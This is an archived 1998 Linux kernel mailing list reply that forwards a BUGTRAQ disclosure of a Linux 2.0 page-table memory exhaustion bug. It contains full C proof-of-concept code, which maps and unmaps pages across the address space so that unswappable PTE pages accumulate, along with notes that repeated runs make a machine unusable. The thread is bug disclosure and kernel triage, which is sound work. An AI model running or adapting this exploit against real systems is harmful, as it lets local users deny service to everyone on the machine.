This message generated a parse failure. Raw output follows here. Please use 'back' to navigate. From devnull@lkml.org Thu Apr 25 13:01:27 2024 Received: from entropy.muc.muohio.edu (entropy.muc.muohio.edu [134.53.213.10]) by herbie.ucs.indiana.edu (8.8.8/8.8.8) with ESMTP id BAA17148 for ; Wed, 14 Oct 1998 01:03:26 -0500 (EST) Received: from vger.rutgers.edu (vger.rutgers.edu [128.6.190.2]) by entropy.muc.muohio.edu (8.9.0/8.8.7) with ESMTP id CAA28242; Wed, 14 Oct 1998 02:01:41 -0400 Received: by vger.rutgers.edu id <155268-7107>; Tue, 13 Oct 1998 14:33:38 -0400 Received: from caffeine.ix.net.nz ([203.97.100.28]:2634 "EHLO caffeine.ix.net.nz" ident: "NO-IDENT-SERVICE[2]") by vger.rutgers.edu with ESMTP id <155388-7107>; Tue, 13 Oct 1998 10:27:43 -0400 Received: (from chris@localhost) by caffeine.ix.net.nz (8.8.7/8.8.3) id JAA13625; Wed, 14 Oct 1998 09:31:34 +1300 Date: Wed, 14 Oct 1998 09:31:34 +1300 From: Chris Wedgwood To: Alan Cox , Perry Harrington Cc: linux-kernel@vger.rutgers.edu Subject: Re: 2.1.125 Show stopper list: Draft Message-Id: <19981014093134.B13509@caffeine.ix.net.nz> References: <199810121852.LAA23513@sun4.apsoft.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=82I3+IH0IqGh5yIs X-Mailer: Mutt 0.94.5i In-Reply-To: ; from Alan Cox on Mon, Oct 12, 1998 at 08:54:04PM +0100 X-No-Archive: Yes X-Orcpt: rfc822;linux-kernel@vger.rutgers.edu Sender: owner-linux-kernel@vger.rutgers.edu Precedence: bulk X-Loop: majordomo@vger.rutgers.edu --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii On Mon, Oct 12, 1998 at 08:54:04PM +0100, Alan Cox wrote: > > What about the PGE/PTE problem? Any user can just mmap/munmap > > all possible (768 under x86) page tables for their process, then > > use up a lot of GFP_KERNEL > > Do you have a demo for this ? Here is a message about if from BUGTRAQ some time back. -cw --82I3+IH0IqGh5yIs Content-Type: message/rfc822 Return-Path: X-Mailer: ELM [version 2.4ME+ PL35 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-ID: <199805251151.NAA01512@ippc72.infop6.cicrp.jussieu.fr> Date: Mon, 25 May 1998 13:51:42 +0200 Reply-To: XXX_p6mip300 Sender: Bugtraq List From: XXX_p6mip300 Subject: linux 2.0 PTE bug To: BUGTRAQ@NETSPACE.ORG Hi all, there is the program : -------------------------------------------------------------------------- /* the pte bug - Sed hacking linux kernel, 24 may 1998 */ unsigned long address; int touch_me; int fd; #include #include #include #include #include #include void the_handler(int x) { signal(SIGSEGV, the_handler); touch_me++; if(mmap((void *)address, 4, PROT_READ, MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) { perror("mmap"); exit(1); } } void main(void) { /* volatile to fool GCC, we _WANT_ access *address */ volatile unsigned long i; fd=open("pte.c", O_RDONLY); if (fd==-1) { perror("open"); exit(1); } signal(SIGSEGV, the_handler); /* 3*1024*1024*1024 = TASK_SIZE, * 1024*4096 = number of bytes one pte can map */ for (address=0; address<3*1024*1024*1024; address+=1024*4096) { i=*(unsigned long *)address; if (touch_me) { touch_me=0; munmap((void *)address, 4); } } while(1) pause(); } ----------------------------------------------------------------------- The idea is to take a lot of memory. So, we map all our virtual pages, to force the system to allow all the pte (am talking about PC box). So, the process will have allocated 768 pages that will never be swapped (that's the crucial point). So, that's simple, you run this program as much time as you need to take all the memory, and the PC won't be usable anymore (for my 64Mb box, i need to run it about 20 times). And then, you can have a wonderful light-show with your HD-led :) (PC will spend its time in swapping). How to solve it ? Well, we could swap the pgd / pmd / pte, but i really don't know if it is possible or what. If this bug is already well know, am sorry to disturb with it. It applies only on the 2.0 kernel, for the 2.1 (soon 2.2) i don't know if it works, will have to read the source. Sed. p6mip300@infop6.cicrp.jussieu.fr. --82I3+IH0IqGh5yIs-- - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/